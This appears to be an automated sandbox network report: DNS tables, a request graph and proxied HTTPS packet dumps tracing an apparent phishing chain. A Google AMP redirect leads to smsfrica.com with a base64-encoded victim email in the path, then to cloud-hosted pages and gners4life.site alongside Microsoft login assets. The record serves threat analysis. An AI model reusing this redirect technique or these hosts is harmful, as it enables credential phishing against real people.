Mar 15, 2024 13:58:39.844990969 CET	192.168.2.17	1.1.1.1	0x161f	Standard query (0)	www.google.co.za	65	IN (0x0001)	false
Mar 15, 2024 13:58:40.409652948 CET	192.168.2.17	1.1.1.1	0x7069	Standard query (0)	smsfrica.com	A (IP address)	IN (0x0001)	false
Mar 15, 2024 13:58:40.410037994 CET	192.168.2.17	1.1.1.1	0x3d4b	Standard query (0)	smsfrica.com	65	IN (0x0001)	false
Mar 15, 2024 13:58:41.720015049 CET	192.168.2.17	1.1.1.1	0x7972	Standard query (0)	smsfrica.com	A (IP address)	IN (0x0001)	false
Mar 15, 2024 13:58:41.720186949 CET	192.168.2.17	1.1.1.1	0x9ab5	Standard query (0)	smsfrica.com	65	IN (0x0001)	false
Mar 15, 2024 13:59:07.379442930 CET	192.168.2.17	1.1.1.1	0xe800	Standard query (0)	google.co.za	A (IP address)	IN (0x0001)	false
Mar 15, 2024 13:59:07.379442930 CET	192.168.2.17	1.1.1.1	0x8762	Standard query (0)	google.co.za	65	IN (0x0001)	false
Mar 15, 2024 13:59:07.381078959 CET	192.168.2.17	1.1.1.1	0x52b4	Standard query (0)	www.google.co.za	A (IP address)	IN (0x0001)	false
Mar 15, 2024 13:59:07.381078959 CET	192.168.2.17	1.1.1.1	0x50f5	Standard query (0)	www.google.co.za	65	IN (0x0001)	false
Mar 15, 2024 13:59:07.863765955 CET	192.168.2.17	1.1.1.1	0x615d	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Mar 15, 2024 13:59:07.864144087 CET	192.168.2.17	1.1.1.1	0x1ba0	Standard query (0)	www.google.com	65	IN (0x0001)	false
Mar 15, 2024 13:59:07.865087032 CET	192.168.2.17	1.1.1.1	0xef07	Standard query (0)	www.rubinoviaggi.it	A (IP address)	IN (0x0001)	false
Mar 15, 2024 13:59:07.865622997 CET	192.168.2.17	1.1.1.1	0x976e	Standard query (0)	www.rubinoviaggi.it	65	IN (0x0001)	false
Mar 15, 2024 13:59:08.401133060 CET	192.168.2.17	1.1.1.1	0xcd26	Standard query (0)	google.co.za	A (IP address)	IN (0x0001)	false
Mar 15, 2024 13:59:08.401370049 CET	192.168.2.17	1.1.1.1	0xa71b	Standard query (0)	google.co.za	65	IN (0x0001)	false
Mar 15, 2024 13:59:08.401691914 CET	192.168.2.17	1.1.1.1	0xf822	Standard query (0)	www.google.co.za	A (IP address)	IN (0x0001)	false
Mar 15, 2024 13:59:08.401839972 CET	192.168.2.17	1.1.1.1	0x7d57	Standard query (0)	www.google.co.za	65	IN (0x0001)	false
Mar 15, 2024 13:59:09.320148945 CET	192.168.2.17	1.1.1.1	0x4533	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Mar 15, 2024 13:59:09.320432901 CET	192.168.2.17	1.1.1.1	0xb6ff	Standard query (0)	www.google.com	65	IN (0x0001)	false
Mar 15, 2024 13:59:20.750245094 CET	192.168.2.17	1.1.1.1	0xba17	Standard query (0)	nwfkh03tev-1324839608.cos.sa-saopaulo.myqcloud.com	A (IP address)	IN (0x0001)	false
Mar 15, 2024 13:59:20.750654936 CET	192.168.2.17	1.1.1.1	0x2510	Standard query (0)	nwfkh03tev-1324839608.cos.sa-saopaulo.myqcloud.com	65	IN (0x0001)	false
Mar 15, 2024 13:59:23.421966076 CET	192.168.2.17	1.1.1.1	0xee1a	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Mar 15, 2024 13:59:23.422493935 CET	192.168.2.17	1.1.1.1	0x26b1	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Mar 15, 2024 13:59:23.424391031 CET	192.168.2.17	1.1.1.1	0x4bf5	Standard query (0)	use.fontawesome.com	A (IP address)	IN (0x0001)	false
Mar 15, 2024 13:59:23.424537897 CET	192.168.2.17	1.1.1.1	0x6929	Standard query (0)	use.fontawesome.com	65	IN (0x0001)	false
Mar 15, 2024 13:59:23.425853968 CET	192.168.2.17	1.1.1.1	0x1b1f	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Mar 15, 2024 13:59:23.426063061 CET	192.168.2.17	1.1.1.1	0xb29d	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Mar 15, 2024 13:59:23.426341057 CET	192.168.2.17	1.1.1.1	0x9123	Standard query (0)	maxcdn.bootstrapcdn.com	A (IP address)	IN (0x0001)	false
Mar 15, 2024 13:59:23.426476955 CET	192.168.2.17	1.1.1.1	0x3e27	Standard query (0)	maxcdn.bootstrapcdn.com	65	IN (0x0001)	false
Mar 15, 2024 13:59:23.426727057 CET	192.168.2.17	1.1.1.1	0xc98d	Standard query (0)	gners4life-1323985617.cos.eu-frankfurt.myqcloud.com	A (IP address)	IN (0x0001)	false
Mar 15, 2024 13:59:23.426861048 CET	192.168.2.17	1.1.1.1	0x54e9	Standard query (0)	gners4life-1323985617.cos.eu-frankfurt.myqcloud.com	65	IN (0x0001)	false
Mar 15, 2024 13:59:24.440088034 CET	192.168.2.17	1.1.1.1	0x565f	Standard query (0)	gners4life-1323985617.cos.eu-frankfurt.myqcloud.com	A (IP address)	IN (0x0001)	false
Mar 15, 2024 13:59:27.368637085 CET	192.168.2.17	1.1.1.1	0xf883	Standard query (0)	gners4life.site	A (IP address)	IN (0x0001)	false
Mar 15, 2024 13:59:27.368937016 CET	192.168.2.17	1.1.1.1	0x20ff	Standard query (0)	gners4life.site	65	IN (0x0001)	false
Mar 15, 2024 13:59:28.869661093 CET	192.168.2.17	1.1.1.1	0x65de	Standard query (0)	gners4life.site	A (IP address)	IN (0x0001)	false
Mar 15, 2024 13:59:28.869836092 CET	192.168.2.17	1.1.1.1	0x9949	Standard query (0)	gners4life.site	65	IN (0x0001)	false
Mar 15, 2024 13:59:28.887443066 CET	192.168.2.17	1.1.1.1	0xe06f	Standard query (0)	aadcdn.msftauth.net	A (IP address)	IN (0x0001)	false
Mar 15, 2024 13:59:28.887607098 CET	192.168.2.17	1.1.1.1	0xb071	Standard query (0)	aadcdn.msftauth.net	65	IN (0x0001)	false
Mar 15, 2024 13:59:29.431022882 CET	192.168.2.17	1.1.1.1	0x29ae	Standard query (0)	aadcdn.msftauth.net	A (IP address)	IN (0x0001)	false
Mar 15, 2024 13:59:29.431288004 CET	192.168.2.17	1.1.1.1	0xa337	Standard query (0)	aadcdn.msftauth.net	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Mar 15, 2024 13:57:33.781900883 CET	1.1.1.1	192.168.2.17	0x2441	No error (0)	google.co.za		142.250.80.35	A (IP address)	IN (0x0001)	false
Mar 15, 2024 13:57:34.698062897 CET	1.1.1.1	192.168.2.17	0x2100	No error (0)	www.google.com		142.250.65.164	A (IP address)	IN (0x0001)	false
Mar 15, 2024 13:57:34.699182987 CET	1.1.1.1	192.168.2.17	0x607e	No error (0)	www.google.com			65	IN (0x0001)	false
Mar 15, 2024 13:57:39.262828112 CET	1.1.1.1	192.168.2.17	0xf5e3	No error (0)	www.google.com		142.250.80.36	A (IP address)	IN (0x0001)	false
Mar 15, 2024 13:57:39.263159990 CET	1.1.1.1	192.168.2.17	0x5f67	No error (0)	www.google.com			65	IN (0x0001)	false
Mar 15, 2024 13:58:38.674726009 CET	1.1.1.1	192.168.2.17	0xc25	No error (0)	google.co.za		142.251.35.163	A (IP address)	IN (0x0001)	false
Mar 15, 2024 13:58:39.933489084 CET	1.1.1.1	192.168.2.17	0xba54	No error (0)	www.google.co.za		142.251.35.163	A (IP address)	IN (0x0001)	false
Mar 15, 2024 13:58:40.600891113 CET	1.1.1.1	192.168.2.17	0x7069	No error (0)	smsfrica.com		192.185.112.107	A (IP address)	IN (0x0001)	false
Mar 15, 2024 13:58:41.885437012 CET	1.1.1.1	192.168.2.17	0x7972	No error (0)	smsfrica.com		192.185.112.107	A (IP address)	IN (0x0001)	false
Mar 15, 2024 13:59:07.952013969 CET	1.1.1.1	192.168.2.17	0x615d	No error (0)	www.google.com		142.250.65.228	A (IP address)	IN (0x0001)	false
Mar 15, 2024 13:59:07.952464104 CET	1.1.1.1	192.168.2.17	0x1ba0	No error (0)	www.google.com			65	IN (0x0001)	false
Mar 15, 2024 13:59:08.138654947 CET	1.1.1.1	192.168.2.17	0xef07	No error (0)	www.rubinoviaggi.it		178.63.61.164	A (IP address)	IN (0x0001)	false
Mar 15, 2024 13:59:08.489281893 CET	1.1.1.1	192.168.2.17	0xcd26	No error (0)	google.co.za		142.250.65.227	A (IP address)	IN (0x0001)	false
Mar 15, 2024 13:59:08.490586042 CET	1.1.1.1	192.168.2.17	0xf822	No error (0)	www.google.co.za		142.251.35.163	A (IP address)	IN (0x0001)	false
Mar 15, 2024 13:59:09.407867908 CET	1.1.1.1	192.168.2.17	0xb6ff	No error (0)	www.google.com			65	IN (0x0001)	false
Mar 15, 2024 13:59:09.407994986 CET	1.1.1.1	192.168.2.17	0x4533	No error (0)	www.google.com		142.250.64.68	A (IP address)	IN (0x0001)	false
Mar 15, 2024 13:59:21.105875015 CET	1.1.1.1	192.168.2.17	0xba17	No error (0)	nwfkh03tev-1324839608.cos.sa-saopaulo.myqcloud.com	cos.sa-saopaulo.myqcloud.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 15, 2024 13:59:21.105875015 CET	1.1.1.1	192.168.2.17	0xba17	No error (0)	cos.sa-saopaulo.myqcloud.com		43.157.144.205	A (IP address)	IN (0x0001)	false
Mar 15, 2024 13:59:21.105875015 CET	1.1.1.1	192.168.2.17	0xba17	No error (0)	cos.sa-saopaulo.myqcloud.com		43.135.205.247	A (IP address)	IN (0x0001)	false
Mar 15, 2024 13:59:21.105875015 CET	1.1.1.1	192.168.2.17	0xba17	No error (0)	cos.sa-saopaulo.myqcloud.com		43.135.205.241	A (IP address)	IN (0x0001)	false
Mar 15, 2024 13:59:21.105875015 CET	1.1.1.1	192.168.2.17	0xba17	No error (0)	cos.sa-saopaulo.myqcloud.com		43.135.205.15	A (IP address)	IN (0x0001)	false
Mar 15, 2024 13:59:21.105875015 CET	1.1.1.1	192.168.2.17	0xba17	No error (0)	cos.sa-saopaulo.myqcloud.com		43.157.144.10	A (IP address)	IN (0x0001)	false
Mar 15, 2024 13:59:21.105875015 CET	1.1.1.1	192.168.2.17	0xba17	No error (0)	cos.sa-saopaulo.myqcloud.com		43.157.144.191	A (IP address)	IN (0x0001)	false
Mar 15, 2024 13:59:21.105875015 CET	1.1.1.1	192.168.2.17	0xba17	No error (0)	cos.sa-saopaulo.myqcloud.com		43.157.144.192	A (IP address)	IN (0x0001)	false
Mar 15, 2024 13:59:23.512856960 CET	1.1.1.1	192.168.2.17	0xee1a	No error (0)	code.jquery.com		151.101.130.137	A (IP address)	IN (0x0001)	false
Mar 15, 2024 13:59:23.512856960 CET	1.1.1.1	192.168.2.17	0xee1a	No error (0)	code.jquery.com		151.101.2.137	A (IP address)	IN (0x0001)	false
Mar 15, 2024 13:59:23.512856960 CET	1.1.1.1	192.168.2.17	0xee1a	No error (0)	code.jquery.com		151.101.194.137	A (IP address)	IN (0x0001)	false
Mar 15, 2024 13:59:23.512856960 CET	1.1.1.1	192.168.2.17	0xee1a	No error (0)	code.jquery.com		151.101.66.137	A (IP address)	IN (0x0001)	false
Mar 15, 2024 13:59:23.514055967 CET	1.1.1.1	192.168.2.17	0x4bf5	No error (0)	use.fontawesome.com	use.fontawesome.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 15, 2024 13:59:23.514530897 CET	1.1.1.1	192.168.2.17	0x6929	No error (0)	use.fontawesome.com	use.fontawesome.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 15, 2024 13:59:23.515490055 CET	1.1.1.1	192.168.2.17	0x1b1f	No error (0)	cdnjs.cloudflare.com		104.17.25.14	A (IP address)	IN (0x0001)	false
Mar 15, 2024 13:59:23.515490055 CET	1.1.1.1	192.168.2.17	0x1b1f	No error (0)	cdnjs.cloudflare.com		104.17.24.14	A (IP address)	IN (0x0001)	false
Mar 15, 2024 13:59:23.515691996 CET	1.1.1.1	192.168.2.17	0xb29d	No error (0)	cdnjs.cloudflare.com			65	IN (0x0001)	false
Mar 15, 2024 13:59:23.515898943 CET	1.1.1.1	192.168.2.17	0x3e27	No error (0)	maxcdn.bootstrapcdn.com			65	IN (0x0001)	false
Mar 15, 2024 13:59:23.516238928 CET	1.1.1.1	192.168.2.17	0x9123	No error (0)	maxcdn.bootstrapcdn.com		104.18.11.207	A (IP address)	IN (0x0001)	false
Mar 15, 2024 13:59:23.516238928 CET	1.1.1.1	192.168.2.17	0x9123	No error (0)	maxcdn.bootstrapcdn.com		104.18.10.207	A (IP address)	IN (0x0001)	false
Mar 15, 2024 13:59:25.157095909 CET	1.1.1.1	192.168.2.17	0xc98d	No error (0)	gners4life-1323985617.cos.eu-frankfurt.myqcloud.com	ger.file.myqcloud.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 15, 2024 13:59:25.157095909 CET	1.1.1.1	192.168.2.17	0xc98d	No error (0)	ger.file.myqcloud.com		162.62.150.187	A (IP address)	IN (0x0001)	false
Mar 15, 2024 13:59:25.157095909 CET	1.1.1.1	192.168.2.17	0xc98d	No error (0)	ger.file.myqcloud.com		162.62.150.176	A (IP address)	IN (0x0001)	false
Mar 15, 2024 13:59:26.167562008 CET	1.1.1.1	192.168.2.17	0x565f	No error (0)	gners4life-1323985617.cos.eu-frankfurt.myqcloud.com	ger.file.myqcloud.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 15, 2024 13:59:26.167562008 CET	1.1.1.1	192.168.2.17	0x565f	No error (0)	ger.file.myqcloud.com		162.62.150.176	A (IP address)	IN (0x0001)	false
Mar 15, 2024 13:59:26.167562008 CET	1.1.1.1	192.168.2.17	0x565f	No error (0)	ger.file.myqcloud.com		162.62.150.187	A (IP address)	IN (0x0001)	false
Mar 15, 2024 13:59:27.513139963 CET	1.1.1.1	192.168.2.17	0xf883	No error (0)	gners4life.site		162.241.71.126	A (IP address)	IN (0x0001)	false
Mar 15, 2024 13:59:28.974890947 CET	1.1.1.1	192.168.2.17	0xe06f	No error (0)	aadcdn.msftauth.net	cs1100.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 15, 2024 13:59:28.974890947 CET	1.1.1.1	192.168.2.17	0xe06f	No error (0)	cs1100.wpc.omegacdn.net		152.199.4.44	A (IP address)	IN (0x0001)	false
Mar 15, 2024 13:59:28.976233959 CET	1.1.1.1	192.168.2.17	0xb071	No error (0)	aadcdn.msftauth.net	cs1100.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 15, 2024 13:59:29.025531054 CET	1.1.1.1	192.168.2.17	0x3d04	No error (0)	shed.dual-low.part-0012.t-0009.t-msedge.net	part-0012.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 15, 2024 13:59:29.025531054 CET	1.1.1.1	192.168.2.17	0x3d04	No error (0)	part-0012.t-0009.t-msedge.net		13.107.213.40	A (IP address)	IN (0x0001)	false
Mar 15, 2024 13:59:29.025531054 CET	1.1.1.1	192.168.2.17	0x3d04	No error (0)	part-0012.t-0009.t-msedge.net		13.107.246.40	A (IP address)	IN (0x0001)	false
Mar 15, 2024 13:59:29.064476967 CET	1.1.1.1	192.168.2.17	0x65de	No error (0)	gners4life.site		162.241.71.126	A (IP address)	IN (0x0001)	false
Mar 15, 2024 13:59:29.519222021 CET	1.1.1.1	192.168.2.17	0x29ae	No error (0)	aadcdn.msftauth.net	cs1100.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 15, 2024 13:59:29.519222021 CET	1.1.1.1	192.168.2.17	0x29ae	No error (0)	cs1100.wpc.omegacdn.net		152.199.4.44	A (IP address)	IN (0x0001)	false
Mar 15, 2024 13:59:29.519710064 CET	1.1.1.1	192.168.2.17	0xa337	No error (0)	aadcdn.msftauth.net	cs1100.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 15, 2024 13:59:29.608129025 CET	1.1.1.1	192.168.2.17	0x1c73	No error (0)	shed.dual-low.part-0012.t-0009.t-msedge.net	part-0012.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 15, 2024 13:59:29.608129025 CET	1.1.1.1	192.168.2.17	0x1c73	No error (0)	part-0012.t-0009.t-msedge.net		13.107.246.40	A (IP address)	IN (0x0001)	false
Mar 15, 2024 13:59:29.608129025 CET	1.1.1.1	192.168.2.17	0x1c73	No error (0)	part-0012.t-0009.t-msedge.net		13.107.213.40	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

google.co.za

www.google.com

https:

www.google.co.za

smsfrica.com

www.rubinoviaggi.it

nwfkh03tev-1324839608.cos.sa-saopaulo.myqcloud.com

code.jquery.com

maxcdn.bootstrapcdn.com

cdnjs.cloudflare.com

gners4life-1323985617.cos.eu-frankfurt.myqcloud.com

gners4life.site

aadcdn.msftauth.net

aadcdn.msauth.net

slscr.update.microsoft.com

fs.microsoft.com

evoke-windowsservices-tas.msedge.net

www.bing.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.17	49709	142.250.80.35	443	6220	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-15 12:57:34 UTC	877	OUT	GET /amp/s/smsfrica.com/QlS4h/YW1yb21hbm9Ac3RlaW5ib3JuLmNvbQ== HTTP/1.1 Host: google.co.za Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIlqHLAQiFoM0BCNy9zQEIksrNAQi5ys0BCLbLzQEI6dLNAQiK080BCMHUzQEIz9bNAQjj1s0BCI7XzQEIp9jNAQi62M0BCPnA1BUYuL/NARj2yc0BGOuNpRc= Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-15 12:57:34 UTC	2034	IN	HTTP/1.1 302 Found Location: https://www.google.com/sorry/index?continue=https://google.co.za/amp/s/smsfrica.com/QlS4h/YW1yb21hbm9Ac3RlaW5ib3JuLmNvbQ%3D%3D&q=EgS_YOPCGL6L0a8GIjAaJ8H2BhgUuvpf_NnyT2OYVT8w65mbz9ueyJW_p6cE8jZIK7EFGWsbGUV81JQQhlEyAXJKGVNPUlJZX0FCVVNJVkVfTkVUX01FU1NBR0VaAUM x-hallmonitor-challenge: CgwIvovRrwYQs5uQ8gESBL9g48I Content-Type: text/html; charset=UTF-8 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-RLbWjXy45ZZk8hx800wN_A' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Permissions-Policy: unload=() Origin-Trial: Ap+qNlnLzJDKSmEHjzM5ilaa908GuehlLqGb6ezME5lkhelj20qVzfv06zPmQ3LodoeujZuphAolrnhnPA8w4AIAAABfeyJvcmlnaW4iOiJodHRwczovL3d3dy5nb29nbGUuY29tOjQ0MyIsImZlYXR1cmUiOiJQZXJtaXNzaW9uc1BvbGljeVVubG9hZCIsImV4cGlyeSI6MTY4NTY2Mzk5OX0= Origin-Trial: AvudrjMZqL7335p1KLV2lHo1kxdMeIN0dUI15d0CPz9dovVLCcXk8OAqjho1DX4s6NbHbA/AGobuGvcZv0drGgQAAAB9eyJvcmlnaW4iOiJodHRwczovL3d3dy5nb29nbGUuY29tOjQ0MyIsImZlYXR1cmUiOiJCYWNrRm9yd2FyZENhY2hlTm90UmVzdG9yZWRSZWFzb25zIiwiZXhwaXJ5IjoxNjkxNTM5MTk5LCJpc1N1YmRvbWFpbiI6dHJ1ZX0= P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Date: Fri, 15 Mar 2024 12:57:34 GMT Server: gws Content-Length: 457 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Set-Cookie: 1P_JAR=2024-03-15-12; expires=Sun, 14-Apr-2024 12:57:34 GMT; path=/; domain=.google.co.za; Secure; SameSite=none Set-Cookie: NID=512=Y_N7SdjJORoaeU0RFGFXFZ3USiatxfWXO_2ps4EVsRLkZdsW9tB8v5rcSuIz7Z3M5HWvhOUcKSsu8SgVLyzmDpUVITXdWay8t5b7BhLrthO-zhehVzUqg9Qo8aiEmRdYzdrA57ZtJ5zcuQ1e4ECEV3WIQR7wKu0gWTJUpP_JHko; expires=Sat, 14-Sep-2024 12:57:34 GMT; path=/; domain=.google.co.za; Secure; HttpOnly; SameSite=none Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-03-15 12:57:34 UTC	457	IN	Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 54 49 54 4c 45 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 0a 3c 41 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 73 6f 72 72 79 2f 69 6e 64 65 78 3f 63 6f 6e 74 69 6e 75 65 3d 68 74 74 70 73 3a 2f 2f 67 6f 6f 67 6c 65 2e 63 6f 2e 7a 61 2f 61 6d 70 2f 73 2f 73 6d 73 66 72 69 63 61 2e 63 6f 6d 2f 51 6c 53 Data Ascii: <HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"><TITLE>302 Moved</TITLE></HEAD><BODY><H1>302 Moved</H1>The document has moved<A HREF="https://www.google.com/sorry/index?continue=https://google.co.za/amp/s/smsfrica.com/QlS

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.17	49711	142.250.65.164	443	6220	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-15 12:57:34 UTC	1244	OUT	GET /sorry/index?continue=https://google.co.za/amp/s/smsfrica.com/QlS4h/YW1yb21hbm9Ac3RlaW5ib3JuLmNvbQ%3D%3D&q=EgS_YOPCGL6L0a8GIjAaJ8H2BhgUuvpf_NnyT2OYVT8w65mbz9ueyJW_p6cE8jZIK7EFGWsbGUV81JQQhlEyAXJKGVNPUlJZX0FCVVNJVkVfTkVUX01FU1NBR0VaAUM HTTP/1.1 Host: www.google.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIlqHLAQiFoM0BCNy9zQEIksrNAQi5ys0BCLbLzQEI6dLNAQiK080BCMHUzQEIz9bNAQjj1s0BCI7XzQEIp9jNAQi62M0BCPnA1BUYuL/NARj2yc0BGOuNpRc= Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=511=X9Z9GC2VZ5PTUFlYUNdhKnJP24TRGpGqZqKFL9Pw-Ezk_duysZ_VzzYNGWyHcs80O3scFIEGWC4ejePhlgeAzI7DW28lCxtFqnZqwLPsW3aG59Guvp647PtH9EGoiqhxBjO7Es0rJ7PDVhdGCfedVrlCik0Vmojg2gUg6Tqi0JI
2024-03-15 12:57:35 UTC	356	IN	HTTP/1.1 429 Too Many Requests Date: Fri, 15 Mar 2024 12:57:35 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate Content-Type: text/html Server: HTTP server (unknown) Content-Length: 3221 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-03-15 12:57:35 UTC	896	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 3c 74 69 74 6c 65 3e 68 74 74 70 73 3a 2f 2f 67 6f 6f 67 6c 65 2e 63 6f 2e 7a 61 2f 61 6d 70 2f 73 2f 73 6d 73 66 72 69 63 61 2e 63 6f 6d 2f 51 6c 53 34 68 2f 59 57 31 79 62 32 31 68 62 6d Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html><head><meta http-equiv="content-type" content="text/html; charset=utf-8"><meta name="viewport" content="initial-scale=1"><title>https://google.co.za/amp/s/smsfrica.com/QlS4h/YW1yb21hbm
2024-03-15 12:57:35 UTC	1252	IN	Data Raw: 64 65 66 65 72 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 3e 76 61 72 20 73 75 62 6d 69 74 43 61 6c 6c 62 61 63 6b 20 3d 20 66 75 6e 63 74 69 6f 6e 28 72 65 73 70 6f 6e 73 65 29 20 7b 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 27 63 61 70 74 63 68 61 2d 66 6f 72 6d 27 29 2e 73 75 62 6d 69 74 28 29 3b 7d 3b 3c 2f 73 63 72 69 70 74 3e 0a 3c 64 69 76 20 69 64 3d 22 72 65 63 61 70 74 63 68 61 22 20 63 6c 61 73 73 3d 22 67 2d 72 65 63 61 70 74 63 68 61 22 20 64 61 74 61 2d 73 69 74 65 6b 65 79 3d 22 36 4c 66 77 75 79 55 54 41 41 41 41 41 4f 41 6d 6f 53 30 66 64 71 69 6a 43 32 50 62 62 64 48 34 6b 6a 71 36 32 59 31 62 22 20 64 61 74 61 2d 63 61 6c 6c 62 61 63 6b 3d 22 73 75 62 6d 69 74 43 61 6c 6c 62 61 63 6b 22 20 64 61 Data Ascii: defer></script><script>var submitCallback = function(response) {document.getElementById('captcha-form').submit();};</script><div id="recaptcha" class="g-recaptcha" data-sitekey="6LfwuyUTAAAAAOAmoS0fdqijC2PbbdH4kjq62Y1b" data-callback="submitCallback" da
2024-03-15 12:57:35 UTC	1073	IN	Data Raw: 61 64 64 69 6e 67 3a 31 30 70 78 3b 20 6d 61 72 67 69 6e 3a 30 20 30 20 31 35 70 78 20 30 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 34 65 6d 3b 22 3e 0a 54 68 69 73 20 70 61 67 65 20 61 70 70 65 61 72 73 20 77 68 65 6e 20 47 6f 6f 67 6c 65 20 61 75 74 6f 6d 61 74 69 63 61 6c 6c 79 20 64 65 74 65 63 74 73 20 72 65 71 75 65 73 74 73 20 63 6f 6d 69 6e 67 20 66 72 6f 6d 20 79 6f 75 72 20 63 6f 6d 70 75 74 65 72 20 6e 65 74 77 6f 72 6b 20 77 68 69 63 68 20 61 70 70 65 61 72 20 74 6f 20 62 65 20 69 6e 20 76 69 6f 6c 61 74 69 6f 6e 20 6f 66 20 74 68 65 20 3c 61 20 68 72 65 66 3d 22 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 70 6f 6c 69 63 69 65 73 2f 74 65 72 6d 73 2f 22 3e 54 65 72 6d 73 20 6f 66 20 53 65 72 76 69 63 65 3c 2f 61 3e 2e 20 54 68 65 Data Ascii: adding:10px; margin:0 0 15px 0; line-height:1.4em;">This page appears when Google automatically detects requests coming from your computer network which 